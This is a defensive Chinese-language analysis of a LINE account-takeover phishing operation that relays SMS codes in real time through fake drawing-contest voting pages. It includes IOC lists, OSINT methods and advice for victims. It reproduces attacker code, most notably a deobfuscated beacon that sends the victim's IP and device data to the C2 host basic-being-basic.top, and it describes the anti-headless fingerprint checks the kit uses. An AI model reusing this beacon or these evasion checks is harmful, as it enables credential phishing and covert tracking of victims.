LINE「繪畫比賽投票」盜號站技術拆解:human-in-the-loop OTP 中繼

調查日期 2026-09-26。文中的規模數字都是當天的快照,這類叢集的域名每週都在輪替。

手法定性

password-less 釣魚。頁面不收密碼,只收 手機號 + 簡訊驗證碼, 對應的是 LINE 的簡訊碼新裝置登入路徑(非密碼登入、非 OAuth、非 QR 裝置授權)。 攻擊者拿 phone + SMS code 在自有裝置發起新裝置登入,受害者從頭到尾不知道自己填的是 LINE 真正的登入驗證碼。 頁面本身也刻意不提 LINE:無 LINE 品牌、無 QR code,藉口是「手機號碼用於本次投票聯繫」。

受害者看到的就是這種頁面——品牌 ITEDA 創意繪畫比賽、綠底水彩、一排兒童畫作加上假的票數與排名,每張作品下面一個綠色「投票」鈕(截圖為 sdiet.eu.cc 世代,2026-09-26):

假投票頁:ITEDA 創意繪畫比賽,一排兒童畫作與假票數,每張下面一個綠色投票鈕

LINE 群組收到 「幫小孩投票」連結 假投票頁 點「投票」 驗證頁:填手機號 「用於本次投票聯繫」 後台操作員用該手機號 在自己的裝置發起 LINE 新裝置登入 LINE 把真的驗證碼 傳到受害者手機 受害者把碼填回假頁 畫面:等待人工確認 操作員把碼輸入 LINE 帳號被接管 拿來轉發同一條連結 成功 登入失敗 彈窗要求重輸驗證碼 失敗 擴散到聯絡人 受害者重填
人工即時 OTP 中繼的流程

擷取條件:iPhone Safari UA + Accept-Language: zh-TW,僅 GET,不執行頁面 JS、不提交欄位。 未觀察到 UA/geo cloaking:美國出口與台灣出口拿到相同內容。反分析改由一支偽裝成 Meta Pixel 的指紋採集載荷負責(見後文)。

前端狀態機(review.js)— 判定為人工即時中繼的決定性證據

點「投票」後導向的驗證頁,表單直接把號碼與碼 POST 給後台 PHP,URL 上還帶著一枚 per-flow token:

<form method="post"
      action="/auth/verify.php?u=1&id=1&poll=2&flow=ed06417e730f52394401c8306d424e10">
<!-- 頁尾: 手機號碼用於本次投票聯繫。 -->

review.js 裡的狀態訊息與重輸碼彈窗,是原封不動的攻擊者程式碼:

const messages = {
  awaiting_code: '請輸入簡訊驗證碼',
  pending:       '簡訊驗證碼已提交,等待人工確認',
  approved:      '驗證成功',
  rejected:      '驗證未通過,請重新輸入簡訊驗證碼',
  completed:     '投票已完成'
};
 
// 後台可即時推播 code_prompt_kind:'reentry',把彈窗標題切成「請重新輸入」
modalTitle.textContent =
  kind === 'reentry' ? '請重新輸入簡訊驗證碼' : '請輸入簡訊驗證碼';
 
// 每 3 秒輪詢後台,失敗時退避 2 / 3 / 5 秒
function schedule(delay = 3000) { /* ... */ }
const result = await query('/api/request-status.php?request_id='
  + encodeURIComponent(form.dataset.requestId)
  + '&poll=' + encodeURIComponent(form.dataset.poll), {}, controller);
schedule(failures ? [2000, 3000, 5000][Math.min(failures - 1, 2)] : 3000);
後台操作員 awaiting_code 請輸入簡訊驗證碼 推播 reentry 彈窗 pending 等待人工確認 提交 6 位數碼 rejected 請重新輸入簡訊驗證碼 人工退回 approved 驗證成功 人工通過 重新提交 completed 投票已完成
review.js 的狀態轉移

判讀:rejected → 重輸碼 這條轉移在自動化收割場景不存在——沒有理由「拒絕」一組已收下的 OTP 再索取新碼。唯一合理成因是後台端登入嘗試失敗(碼過期/需要第二因子), 需受害者補發新鮮 OTP。即後台為真人與 LINE 登入流程即時競速。

佐證兩點:

  • 每 3 秒輪詢 /api/request-status.php(失敗時退避 2/3/5 秒):把受害者滯留於頁面,維持 OTP 時效窗。
  • validCode() 過濾 111111、121212、123123 這類重複碼與 123456、654321 這類連號:阻擋以測試碼探測流程。

收單端點(三套 kit 對應不同實作):

  • Kit A(Vue SPA,繪畫大公投):SPA 路由 /auth/verify、/auth/second、/vote、/users。頁面同時載入偽 Meta Pixel 遙測載荷(見下一節)。
  • Kit B(PHP + session,繪畫比賽 · test):/auth/verify.php(action=send / submit_code / complete)、/api/request-status.php 輪詢、/api/visit.php 訪客回報。
  • Kit C(PHP,寶寶創意繪畫):/vote-verify.php、/api/external_verify.php?action=verify|commit、/api/vote.php(action=send_code / vote)。CSS 直接用 LINE 品牌色,作品圖上傳日期到 9/23、9/24,仍在活躍營運。

Kit B 的 visit.php 值得單獨看:頁面一 visible 就把 poll_id、path、referrer(截 500 字)連同一組 csrf / proof 回報後台——受害者還沒填任何欄位,後台就已經知道「有人正在看這條連結」,用來即時盯著誰上鉤。

Kit C 有一個 verifyMode 開關,值可為 standard / api / line / line_direct:

  • api 模式在受害者還在輸入手機號時就先打 external_verify.php?action=commit,讓後台預先對該號發起登入、把回傳的 mailaddress 綁到這支手機號;等碼填進來再打 ?action=verify。整個過程有一條 __chatSend() 通道把每一步狀態即時推給後台的操作員對話視窗——又一個人工在線的證據。
  • line / line_direct 模式則直接跳過驗證、只記投票,是用來混充「正常投票」的幌子分支。

偽裝成 Meta Pixel 的 anti-bot 指紋引擎

Kit A 的頁面在畫面外掛一個看不見的 iframe(left:-1000px; width:0; height:0), 裡面載入 /MetaPixel/MetaPixel.html → pixel.js(約 50 KB,重度混淆)。 名字借用 Meta Pixel,但它跟 Meta 沒有任何關係。

混淆手法(靜態還原、未執行):字串被拆成整數陣列再用 XOR/位元打包還原, 主體是一段 new Function(atob(...))(約 30 KB)裡再包兩個 base64 模組, 其中一個自帶一份 SHA-256、用 BigInt 做運算把邏輯藏起來。 第二階段路徑同樣是打包字串:/MetaPixel/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js。

剝掉混淆後,核心其實就這幾行(我把混淆變數名還原、邏輯照抄):

// 取受害者公網 IP
const ip = await (await fetch("https://ipv4.icanhazip.com")).text();
// 從 UA 解出 OS 與版本 → "IOS 18.1" / "Android 14.0" / "Windows 10.0" ...
const deviceVersion = parseOsFromUserAgent(navigator.userAgent);
// 回報給 C2,channelCode 是硬編碼的投放通路代碼
await fetch("https://basic-being-basic.top/api/ip-sync/sync", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
    channelCode: "CHMK6IG08F42496C22",
    ip, deviceVersion,
    domain: window.location.hostname
  })
});
setInterval(sync, 10000);                        // 每 10 秒回報一次
setInterval(() => parent.location.reload(), 180000); // 每 3 分鐘 reload 父頁

也就是說,這支「Pixel」是一支歸因遙測 beacon:

受害者裝置 (隱藏 iframe) ipv4.icanhazip.com GET → 取公網 IP ① 取 IP 解析 navigator.userAgent → IOS 18.1 / Android 14 … ② 取裝置版本 basic-being-basic.top /api/ip-sync/sync ③ POST JSON 每 10 秒一次
偽 Meta Pixel 的 beacon 行為

送給 C2 的 body 長這樣:

{ "channelCode": "<投放通路代碼>", "ip": "<受害者公網 IP>",
  "deviceVersion": "IOS 18.1", "domain": "<當前釣魚域名>" }

channelCode(樣本裡看到 CHMK6IG08F42496C22、YBRD8UXT6ZF59 這類硬編碼常數) 是投放通路 / 分潤代碼:這是一套會分帳的體系,後台要知道每個受害者是從哪條散布管道來的。 載荷還每 180 秒 reload 一次父頁,把受害者黏在頁面上。 所以這支「Pixel」的用途不是網頁分析,而是把受害者的 IP、裝置、來源通路即時回報給 C2, 好和他等一下填進來的手機號對起來。

但 beacon 只是最後一步——前面是一整套 anti-bot 指紋閘門

把 pixel.js 的兩個 base64 模組完全解開後,才發現 beacon 之前有一層反自動化 + 真人真機驗證。 一個模組是純混淆(BigInt 數值密碼器,遮罩 2^39−1,把字串藏起來);另一個才是本體, 在回報 C2 之前依序檢查:

  • navigator.webdriver === true → 偵測 Selenium / headless,命中直接中止。
  • MathML 渲染指紋:塞一個 <math mathcolor="blue"><mn>14</mn></math>,讀回算出來的顏色是不是 rgb(0, 0, 255)——headless/無頭環境渲染 MathML 的結果不一樣。
  • WebRTC:探 RTCIceGatherer、RTCPeerConnection(含 moz / webkit 變體)。
  • WebGL(GPU 指紋)、IndexedDB、WebSQL openDatabase、localStorage(抓無痕/被插樁環境)、 TouchEvent / navigator.maxTouchPoints(真手機驗證)、platform(MacIntel…)。
訪客載入隱藏 iframe navigator.webdriver? MathML 顏色?WebRTC? WebGL / IndexedDB / touch? 真人真機 → beacon 回報 C2 → 派送第二階段載荷 全部通過 研究者 / headless / 爬蟲 → 中止,什麼都不做 任一命中
beacon 前的真人真機閘門

這解開了先前一個矛盾:被動擷取(curl / WebFetch)明明「沒看到 UA 或 geo cloaking」, 卻只拿得到 OG 外殼。原因是 cloaking 根本不在伺服器端,而在這支客戶端指紋引擎—— 它先確認你是真手機真人,才讓後面的流程跑起來。佐證:第二階段載荷 /MetaPixel/<sha1>.min.js 對一個普通 GET 回 404,只派送給通過指紋檢查的真裝置, 研究者與爬蟲永遠抓不到。

把 50 KB 的 pixel.js 裡所有隱藏字串(57 條)全解出來後也可以確認: 整條攻擊鏈只有一個 C2(basic-being-basic.top)+一個取 IP 的 ipv4.icanhazip.com, 沒有藏第二個外連。混淆只是層數多(模組化 base64 + 自帶 SHA-256 + 每陣列 XOR/位元打包), 不是真正的加密。

後台結構(自 Vue bundle 靜態還原,未登入)

bundle 內嵌後台路由:

/daoline/login
/daoline/accounts       // 被盜帳號清單

daoline = 「盜 LINE」拼音,攻擊者自命名。

後台 UI 字串(自 bundle 抽出):

后台管理登录 · 工作台 · 子账号管理 · 号台 · 语音提示 · 授權投票 · 退出登录

歸因推論:

  • 後台 UI 為簡體、受害者頁面為繁體 → 操作端中國大陸、目標台灣。[strong]
  • 存在 子账号管理 / 号台 → 多操作員、多租戶體系 = phishing-as-a-service,非單人。[strong]

唯讀狀態探測(僅讀 HTTP 狀態碼,未取資料):

admin.<redacted>            → 403  (operator IP allowlist)
<kitA>/daoline/login        → 200  (同源 SPA 公開登入牆)
<kitA>/daoline/accounts     → 404  (資料在登入後 API 之後)

/daoline/login 另以 headless Chrome 載入一次截圖,確認是 后台管理登录 頁(账号/密码/登录,簡體字);未輸入任何欄位、未點登入、未往下一頁走:

盜號集團的後台登入頁,簡體中文「后台管理登录」,帳號與密碼欄位、綠色登入鈕

技術棧與權限模型(把 Vue bundle beautify 後靜態還原)

把 Kit A 的 Vue bundle 展開後,後台的樣子比登入頁透露的更完整:

  • 後端框架是 ThinkPHP 6(bundle 裡漏了一句錯誤字串 "${t} - ThinkPHP6"),前端是 Vue 3 SPA。
  • localStorage 存這幾把鑰匙:daoline_admin_token、daoline_admin_authed、daoline_admin_username、 daoline_admin_role(值是 main 或 sub)、daoline_voice_notify_enabled(語音提示,預設開)。
  • 路由守衛寫死了兩級權限:/daoline/accounts(「子账号管理」)掛 requiresMainAdmin, role !== "main" 就被踢回工作台。也就是 main 是老闆、能管子帳號;sub 是輪班操作員、只能用「工作台7号」處理受害者。
  • 语音提示(voice notify)不是裝飾——有人上鉤/提交碼時會播語音提醒操作員。配上 工作台7号/号台 這種編號工作台,整個後台就是一間客服中心式的盜號工廠,不是單人作案。

被盜帳號的實際欄位(清單長什麼樣)由 ThinkPHP6 API 在登入後回傳,不在前端 bundle 裡,所以本次沒有、也不會去取。

operator ↔ 受害者的即時協定

把三支腳本串起來,就是一套即時中繼協定:

  • 受害者頁 review.js 每 3 秒輪詢 /api/request-status.php 等後台裁決;
  • Kit C 的 chat-track.js 透過 /api/chat.php?action=send 把每一步(拿碼、提交、各種彈窗事件) 即時推給操作員;
  • 操作員可反向推播不同彈窗:win_modal(中獎)、line_modal、verify_modal、pending_modal、 confirm_modal、reentry(要求重輸碼)。

chat-track.js 上報的欄位也洩了收割範圍:phone、code、game_id、username、name、 email,以及 address、city、district、deliver_time、shipping_method—— 出現地址與寄送欄位,代表除了 LINE 帳號接管,還有一條騙地址/假寄送的實體詐騙變體。

唯讀狀態探測(只看 HTTP 狀態碼、未取 body)也確認了幾個後台端點是真的: /employee/dashboard.php → 302(員工後台,導向登入)、/api/chat.php → 200、 /api/external_verify.php → 405(存在、只收 POST)。

基礎設施測繪

  • TLS SAN 洩漏:對憑證主機名不符的站發請求,錯誤訊息列出同憑證全部 SAN。 對 42 台主機收集後取得 73 個新名稱:26 個存活(含 2 個 admin 後台域名)、47 個已註冊但尚未啟用的預備域名(見下)。
  • 叢集規模(2026-09-26 快照):100 存活主機 / 32 IP;命名模式 eu.cc + 4–6 隨機小寫字母, 另有 .shop / .bond / .top 變體。
  • 這些 eu.cc 都掛在同一組 DNS:a.rsp-dns.com / b.rsp-dns.com(SOA master.julydns.com)——廉價/免費子網域服務,是整個叢集的供應管道。
  • C2 遙測:basic-being-basic.top/api/ip-sync/sync(見上一節)。
  • 業務外溢:同一批憑證也掛著仿冒 OKX 的假加密貨幣交易所。

預註冊、尚未啟用的輪替庫存

同一組憑證上,除了 26 個當時存活的域名,還有 47 個已註冊但還沒指向任何主機的 eu.cc 子網域。 這是攻擊者的輪替庫存:現役站被封或被盜號受害者檢舉後,隨時可以把 DNS 指過去接手。 把它們先列出來,是為了讓封鎖清單能跑在啟用之前——這是這條攻擊鏈少數能「先發制人」的地方。

bijvw.eu.cc  bive.eu.cc  brgr.eu.cc  btds.eu.cc  cbje.eu.cc  dbfzs.eu.cc
dfbe.eu.cc  ebfb.eu.cc  efvb.eu.cc  emwz.eu.cc  erdvg.eu.cc  etnt.eu.cc
evwb.eu.cc  fhfg.eu.cc  hdks.eu.cc  iows.eu.cc  jnkbe.eu.cc  kdhv.eu.cc
kdjv.eu.cc  kjsf.eu.cc  llisw.eu.cc  mtnr.eu.cc  mwoq.eu.cc  ncgve.eu.cc
njvd.eu.cc  nvjk.eu.cc  qpive.eu.cc  qpiw.eu.cc  revda.eu.cc  rewg.eu.cc
rnjog.eu.cc  rvcx.eu.cc  rwbm.eu.cc  sdkjv.eu.cc  tyxcn.eu.cc  vbjs.eu.cc
vdje.eu.cc  veniw.eu.cc  vetrv.eu.cc  veuk.eu.cc  vkbj.eu.cc  vrett.eu.cc
vrlxcr.eu.cc  vwkd.eu.cc  wkdm.eu.cc  wudi.eu.cc  xuvet.eu.cc

(截至 2026-09-26 覆核,這 47 個都還沒有 A 記錄;名字本身沒有語意,就是隨機字母。)

IOC:真實網域與公網 IP(2026-09-26 快照)

以下都是當天 DNS/HTTP 唯讀確認過的存活主機。域名每週輪替,看到時可能已死或已換 IP, 但 IP/ASN 群集相對穩定,適合直接進封鎖清單。被盜帳號清單這種受害者資料不在此列,也不會公開。

主機集中在幾個香港廉價 VPS 的 IP 上,clustering 很明顯:

IP 掛的主機數 ASN / 主機商
103.85.227.115 13 AS401696 cognetcloud(HK)
207.56.20.196 10 .bond 群集
116.204.132.44 8 AS401701 cognetcloud(HK)
103.233.252.181 7 —
103.158.228.150 6 —
103.121.95.120 5 AS401701 FOJIP(HK)
103.97.178.237 5 —
216.173.67.107 5 —
103.185.249.111 4 後台所在(見下)
156.238.227.49 4 AS402506 Zenixcloud
103.116.247.56 4 —
199.102.216.161 4 AS402506 Zenixcloud

假 LINE 登入子網域(掛在 line. 前綴下,直接仿冒 LINE 登入):

line.hfue.eu.cc        103.85.227.115
line.iteadq.lat        103.185.249.111
line.itedae.me         103.158.228.150
line.itedam.me         103.158.228.150
line.iteduah.me        103.85.227.31
line.iteduas.shop      103.158.228.150
line.ithuki.shop       116.204.132.44

管理後台(/daoline/ 之外、operator 自用,對外 403):

admin.kjvw.eu.cc       103.185.249.111
admin.sblmm.shop       103.185.249.111

同一營運者的假 OKX 交易所(與本叢集共用憑證,掛 Cloudflare):

okxcoinx.top   coinxdex.top   coinxtrc.top

投票釣魚站(domain IP,88 個):

aduhey.my              64.118.150.107      askw.shop              103.85.227.115
awayaxfut.bond         207.56.20.196       bhuntre.com            103.117.136.134
cbej.eu.cc             103.121.95.120      cbks.eu.cc             103.85.227.115
cbnm.eu.cc             103.97.178.237      ciwtr.eu.cc            156.238.227.49
clsm.eu.cc             103.121.95.120      cnlw.eu.cc             38.76.193.162
cveow.eu.cc            116.204.132.44      drsv.eu.cc             116.204.132.44
dsvds.eu.cc            156.238.227.49      erbf.eu.cc             103.85.227.115
etlhsse.eu.cc          103.233.252.181     eukks.eu.cc            103.233.252.181
fewss.eu.cc            216.173.67.107      fttpperformance.bond   207.56.20.196
heyluck.xyz            64.118.150.107      hfue.eu.cc             103.85.227.115
hksud.eu.cc            116.204.132.44      husdf.eu.cc            156.238.230.118
husie.eu.cc            103.85.227.115      ieow.eu.cc             103.116.247.56
ieskss.eu.cc           103.233.252.181     iiosp.eu.cc            103.121.95.120
ioea.eu.cc             38.76.193.162       ioow.eu.cc             103.85.227.115
itdrls.eu.cc           103.233.252.181     iteadq.lat             103.185.249.111
itedaa.me              114.134.187.246     itedae.me              103.158.228.150
itedam.me              103.158.228.150     itedua.me              103.233.252.167
iteduah.me             103.85.227.31       iteduas.shop           103.158.228.150
ithhks.eu.cc           103.233.252.181     ithlss.com             103.233.252.181
ithuki.shop            116.204.132.44      ithuky.eu.cc           156.238.230.118
itllsw.eu.cc           103.233.252.181     itysk.eu.cc            156.238.230.118
iwne.eu.cc             103.97.178.237      jkazx.eu.cc            116.204.132.44
kstp.eu.cc             104.21.9.226        lfhe.eu.cc             199.102.216.161
lsio.eu.cc             103.85.227.115      ltwjdr.com             104.21.95.27
mouthjhvgrh.bond       207.56.20.196       ncle.eu.cc             216.173.67.107
pjtxh.eu.cc            116.204.132.44      ploe.eu.cc             103.85.227.115
politicsxmtw.bond      207.56.20.196       positionfpmm.bond      207.56.20.196
qosiv.eu.cc            216.173.67.107      qwio.eu.cc             156.238.227.64
regionzhaej.bond       207.56.20.196       rehe.eu.cc             103.85.227.115
relatevebne.bond       207.56.20.196       rgns.eu.cc             103.116.247.56
rjvn.eu.cc             199.102.216.161     rnts.eu.cc             103.116.247.56
rtdcv.eu.cc            216.173.67.107      rtyu.shop              103.121.95.120
sbpgonscore.bond       207.56.20.196       scir.eu.cc             103.116.247.56
sdiet.eu.cc            156.238.230.31      timwx.eu.cc            38.76.193.162
vbkjd.eu.cc            199.102.216.161     vjbh.shop              199.102.216.161
vnbru.eu.cc            156.238.227.49      vnue.eu.cc             103.97.178.237
vwbo.eu.cc             103.85.227.115      vwsa.qpon              103.85.227.115
wcjk.eu.cc             156.238.227.64      wercv.eu.cc            156.238.227.14
wetret.eu.cc           103.85.227.115      whatevergjgv.bond      207.56.20.196
wkso.eu.cc             103.97.178.237      wrbc.eu.cc             156.238.227.49
wrtq.eu.cc             156.238.230.31      xfgnb.eu.cc            116.204.132.44
xulwk.eu.cc            216.173.67.107      yeisw.eu.cc            103.97.178.237
zemgsee.bond           207.56.20.196       zvxdcv.eu.cc           103.121.95.120
bhuntre.com            103.117.136.134     ltwjdr.com             104.21.95.27

(kstp.eu.cc、ltwjdr.com 走 Cloudflare,104.21.*/172.67.* 是 Cloudflare edge、非源站。 bhuntre.com 是仿冒台灣正規比賽平台「獎金獵人 bhuntr.com」的變體。)

其他固定指標:C2 basic-being-basic.top/api/ip-sync/sync;所有 eu.cc 的 DNS 都是 a.rsp-dns.com / b.rsp-dns.com(SOA master.julydns.com);散布常搭配 reurl.cc、zip1.io、 ssur.cc、my.ppt.cc 等短網址跳板。

不只是 LINE 釣魚:一個多品牌 phishing-as-a-service

順著憑證與同箱關聯往外拉,這個「繪畫投票」叢集其實只是一間工廠的其中一條產線。 把憑證家族(同一張 TLS 憑證=同一營運者,最硬的證據)和專用主機接起來,會看到這樣:

同一營運者 LINE 盜號 iteda*.me / *.eu.cc / line.* 加密貨幣 假OKX / trx.iteduah.me brtrx.cc(TRON) 假 Google Maps mapsgoogle.cc 假電商 dbtkzx.cc 假比賽平台 bhuntre.com(獎金獵人) suitoai.com brtrx/suitoai 同箱同證 xfjr7773 憑證=mapsgoogle 共用同一張憑證
憑證家族與同箱關聯(→ 同一營運者)

決定性的一條:dbtkzx.cc(假電商)跟 iteda.me(LINE 盜號)共用同一張 TLS 憑證—— 不同品牌、同一夥人,這點沒有模糊空間。

兩個發現值得單獨記:

  1. 他們正在換主機商。 新一代的 iteda*.me 家族(iteda.me、itedas.me、itedau.me、 iteduae.me、iteduam.me、iteduan.me、iteduas.me 及對應的 line.iteda*.me 假登入頁) 已經從香港廉價 VPS 搬到 Tencent Cloud(119.28.12.254)與 Aceville/Tencent 國際版 SG (43.167.14.73、43.155.33.218、124.156.98.111)。103.85.227.31 這台更直接—— iteduah.me(LINE)和 trxjj.cc/trx.trxjj.cc(TRON)掛在同一台。

  2. 封鎖時別整段封 IP。 103.117.136.134 是共享主機:bhuntre.com/brtrx.cc/suitoai.com 是這夥人的租戶,但同 IP 還有 30 幾個無關的中國公司網域。整段封會誤傷,只封域名。

新一代與跨品牌的存活主機(2026-09-26 覆核,供補進封鎖清單):

# LINE 新世代(Tencent / Aceville)
iteda.me 119.28.12.254        iteduas.me 119.28.12.254     line.iteda.me 119.28.12.254
itedas.me 43.167.14.73        line.itedas.me 43.167.14.73  iteduan.me 43.155.33.218
line.iteduan.me 43.155.33.218 iteduae.me 103.233.252.167   iteduam.me 103.185.249.111
itedau.me 156.238.230.118     ceos.eu.cc 156.238.227.31     dsfe/euhs/nuwe/qeix/sfse.eu.cc 156.238.230.31
fgni.eu.cc 103.185.249.111    pp.huuoop.shop 124.156.98.111 aozjtd.eu.cc 43.110.33.35
# 加密貨幣(TRON)
trxjj.cc 103.85.227.31        trx.trxjj.cc 103.85.227.31    trx.iteduah.me 103.85.227.31
brtrx.cc 103.117.136.134      suitoai.com 103.117.136.134   xfjr7773.com 119.28.12.254
# 假 Google Maps / 假電商 / 其他(同箱)
mapsgoogle.cc 119.28.12.254   dbtkzx.cc 119.28.12.254       news16.cc/news18.cc/twyue.cc 119.28.12.254
aitowa.cc 103.85.227.31       heyluck.top 64.118.150.107

Wayback 的歷史快照還洩了各品牌的 kit 路徑結構,坐實它們共用同一套後台: /Google/{login,register,kefu,rule,topic}.php(Google 品牌 kit)、 /api/mall/* + debug_buy.php(電商 kit)、/api/videos/*(影片服務)—— kefu(客服)、zhuce(注册)都是簡體,跟 daoline 後台同源。

OSINT pivot(可重用;含死路)

有效:

  • Cofacts GraphQL(api.cofacts.tw/graphql):第一手活體樣本 URL 最佳來源。 帶瀏覽器 UA(urllib 吃 403),createdAt 分頁全抓後本地過濾。
  • urlscan.io:page.ip:"<ip>" 反查最強 pivot;page.title:"投票活動" 精確命中整叢集。 另一招更準——domain:basic-being-basic.top,直接撈出所有載入過那支 C2 beacon 的頁面,等於用共用元件反查整群。
  • certSpotter(api.certspotter.com/.../issuances?...&include_subdomains=true): include_subdomains=true 是關鍵,一次把整組 line.iteda*.me 子網域拉出來;crt.sh 對這批 eu.cc 查無記錄,換這個 CT 前端就有。
  • openssl s_client 讀憑證 SAN:對憑證主機名不符的站發一次 handshake,subjectAltName 會列出同證所有域名——brtrx.cc、dbtkzx.cc↔iteda.me 的關聯都是這樣挖出來的。
  • AlienVault OTX passive DNS(免 key):反查 C2、反查 IP 帶出同箱域名(共享 VPS 雜訊多,要用叢集指紋過濾)。
  • Wayback Machine CDX(web.archive.org/cdx/search):歷史快照洩出各 kit 的路徑結構(/Google/*、/api/mall/*),連被動列舉不到的端點都留了紀錄。

半死路 / 死路:

  • crt.sh 對這批域名查無記錄,但別因此以為憑證不在 CT log 裡——用 certSpotter 的 API (api.certspotter.com/v1/issuances?domain=...&expand=dns_names)反而查得到同一批 Let's Encrypt 憑證, 一張憑證上 5~10 個 SAN 全列出來。也就是說「crt.sh 是死路」是 crt.sh 的索引問題,不是 CT 本身; 换個 CT 前端就活了。這點跟先前筆記說的「刻意不進 CT」不同,以實測為準。
  • OpenPhish 免費 feed(7 筆)、PhishStats(522)、HackerTarget(覆蓋不足)、 urlscan 匿名不索引 CJK 內文(自由文字 0 命中)——這幾個是真死路。

Detection / IOC

  • 網路:*.eu.cc + /api/request-status.php 短輪詢;beacon 打 basic-being-basic.top/api/ip-sync/sync;載入 /MetaPixel/ 隱藏 iframe。
  • 頁面:無密碼欄、僅索取手機號+簡訊碼、輪詢式「等待審核」UI、daoline 路由前綴。
  • 可先發制人:上面 47 個預註冊 eu.cc 可直接進封鎖清單,不必等它們啟用。
  • 存活域名 / IP / 後台域名見上一節 IOC。唯一不公開的是被盜帳號清單這類受害者資料——那要走 165/刑事局/LINE 官方,由執法機關持票取證。

如果你點過這種連結

  • LINE →「設定」→「我的帳號」,檢查登入中的裝置,踢掉不認識的。
  • 在同一頁關閉「允許自其他裝置登入」,更改密碼,並綁定 Apple 或 Google 帳號。
  • 已經登不進去的話,用 LINE 官方客服表單申訴。
  • 通知你的聯絡人:從你帳號發出的投票連結都不要點。

LINE 官方口訣:停、查、碼不給。任何網站、任何人要簡訊驗證碼,都不要給。 收到「幫忙投票」的訊息,打電話跟對方本人確認——他的帳號可能已經被盜了。

界線

僅做被動 OSINT 與唯讀 GET;後台結構全部由攻擊者自身 bundle 靜態還原。 未登入後台、未提交任何憑證、未取被盜帳號清單、未對 403 做繞過—— 未授權存取他人系統即使對象為犯罪者仍違法(刑法 §358 / §359),且會污染報案證據鏈。 被盜帳號實資料的正當取證途徑為執法機關持票。